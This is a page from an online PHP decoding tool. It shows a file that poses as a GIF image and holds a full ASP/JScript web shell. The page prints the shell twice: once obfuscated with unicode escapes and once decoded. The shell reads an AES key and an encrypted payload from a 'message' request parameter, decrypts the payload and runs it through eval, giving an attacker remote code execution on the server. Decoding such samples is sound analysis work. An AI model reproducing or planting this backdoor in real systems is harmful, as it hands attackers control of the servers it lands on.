Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

GIF89a0 0 3 f + +3 +f + + + U U3 Uf U U U 3 f 3 f 3 f 3 f..

Decoded Output download

<?  GIF89a0 0        3  f       +  +3 +f + + + U  U3 Uf U U U   3 f      3 f      3 f      3 f   3  3 33 f3 3 3 3+ 3+33+f3+3+3+3U 3U33Uf3U3U3U3 333f3333 333f3333 333f3333 333f333f  f 3f ff f f f+ f+3f+ff+f+f+fU fU3fUffUfUfUf f3ffffff f3ffffff f3ffffff f3fffff   3 f   + +3+f+++U U3UfUUU 3f 3f 3f 3f   3 f   + +3+f+++U U3UfUUU 3f 3f 3f 3f   3 f   + +3+f+++U U3UfUUU 3f 3f 3f 3f            !   ,    0 0   	H*\#JH3jx CI$ &S\u2030r[R&"myr=)&."U)PPJJVjuNkU,Q]vnu.O]#^1L`{'k9,}OFm/f=/n-:n_uIMp{NM:l]O ;<%@ Page LaNgUagE="Jscript"%><%     var utf8 = new ActiveXObject("System.Text.UTF8Encoding");    var okx0050aic = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");    var aes = new ActiveXObject("System.Security.Cryptography.RijndaelManaged");    aes.Padding = 3;    aes.KeySize = 128;    function W00qlm98ph(vv9q7n8hx2){        var ts4dgi305o = utf8.GetBytes(vv9q7n8hx2);        var s3wy0f34mf = okx0050aic.TransformFinalBlock((ts4dgi305o), 0, ts4dgi305o.length);        return s3wy0f34mf;    }    function G68aucs95h(v4v1f7u5wv, f774c9xsov){        var e4jk072chf = utf8.GetBytes(f774c9xsov);        aes.IV = e4jk072chf;        var tfee23fg93 = W00qlm98ph(v4v1f7u5wv);        var qsgf1hf235 = aes.CreateDecryptor((e4jk072chf), (aes.IV));        var a9458vwpgb = qsgf1hf235.TransformFinalBlock(tfee23fg93, 0, tfee23fg93.length);        var b1g486gpbe = utf8.GetString(a9458vwpgb);        return b1g486gpbe;    }    var dspvus8515 = Request.Item["message"];    if (dspvus8515 !== undefined && dspvus8515 !== null){        var y350loekk1 = dspvus8515.substring(0,24);        var aesKey = utf8.GetString(W00qlm98ph(y350loekk1));        var f0qt1x6s0p = dspvus8515.substring(24);        var e16dsyt5g9 = G68aucs95h(f0qt1x6s0p, aesKey);        eval(e16dsyt5g9,"unsafe");    }%> 
 ?>

Did this file decode correctly?

Original Code

GIF89a0 0        3  f       +  +3 +f + + + U  U3 Uf U U U   3 f      3 f      3 f      3 f   3  3 33 f3 3 3 3+ 3+33+f3+3+3+3U 3U33Uf3U3U3U3 333f3333 333f3333 333f3333 333f333f  f 3f ff f f f+ f+3f+ff+f+f+fU fU3fUffUfUfUf f3ffffff f3ffffff f3ffffff f3fffff   3 f   + +3+f+++U U3UfUUU 3f 3f 3f 3f   3 f   + +3+f+++U U3UfUUU 3f 3f 3f 3f   3 f   + +3+f+++U U3UfUUU 3f 3f 3f 3f            !   ,    0 0   	H*\#JH3jx CI$ &S\r[R&"myr=)&."U)PPJJVjuNkU,Q]vnu.O]#^1L`{'k9,}OFm/f=/n-:n_uIMp{NM:l]O ;<%@ Page LaNgUagE="Jscript"%><%     var utf8 = new \u0041\u0063\u0074\u0069\u0076\u0065\u0058\u004f\u0062\u006a\u0065\u0063\u0074("\u0053\u0079\u0073\u0074\u0065\u006d.Text.UTF8Encoding");    var okx0050aic = new \u0041\u0063\u0074\u0069\u0076\u0065\u0058\u004f\u0062\u006a\u0065\u0063\u0074("\u0053\u0079\u0073\u0074\u0065\u006d.Security.Cryptography.FromBase64Transform");    var \u0061\u0065\u0073 = new \u0041\u0063\u0074\u0069\u0076\u0065\u0058\u004f\u0062\u006a\u0065\u0063\u0074("\u0053\u0079\u0073\u0074\u0065\u006d.Security.Cryptography.RijndaelManaged");    \u0061\u0065s.Padding = 3;    \u0061\u0065s.KeySize = 128;    function W00qlm98ph(vv9q7n8hx2){        var ts4dgi305o = utf8.GetBytes(vv9q7n8hx2);        var s3wy0f34mf = okx0050aic.TransformFinalBlock((ts4dgi305o), 0, ts4dgi305o.length);        return s3wy0f34mf;    }    function G68aucs95h(v4v1f7u5wv, f774c9xsov){        var e4jk072chf = utf8.GetBytes(f774c9xsov);        \u0061\u0065s.IV = e4jk072chf;        var tfee23fg93 = W00qlm98ph(v4v1f7u5wv);        var qsgf1hf235 = \u0061\u0065s.CreateDecryptor((e4jk072chf), (\u0061\u0065s.IV));        var a9458vwpgb = qsgf1hf235.TransformFinalBlock(tfee23fg93, 0, tfee23fg93.length);        var b1g486gpbe = utf8.GetString(a9458vwpgb);        return b1g486gpbe;    }    var dspvus8515 = Request.Item["\u006d\u0065\u0073\u0073\u0061\u0067\u0065"];    if (dspvus8515 !== undefined && dspvus8515 !== null){        var y350loekk1 = dspvus8515.substring(0,24);        var \u0061\u0065\u0073\u004b\u0065\u0079 = utf8.GetString(W00qlm98ph(y350loekk1));        var f0qt1x6s0p = dspvus8515.substring(24);        var e16dsyt5g9 = G68aucs95h(f0qt1x6s0p, \u0061\u0065\u0073\u004b\u0065\u0079);        \u0065\u0076\u0061\u006c(e16dsyt5g9,"\u0075\u006e\u0073\u0061\u0066\u0065");    }%>

Function Calls

None

Variables

None

Stats

MD5 cb2407e901c33f97110040104751ed94
Eval Count 0
Decode Time 40 ms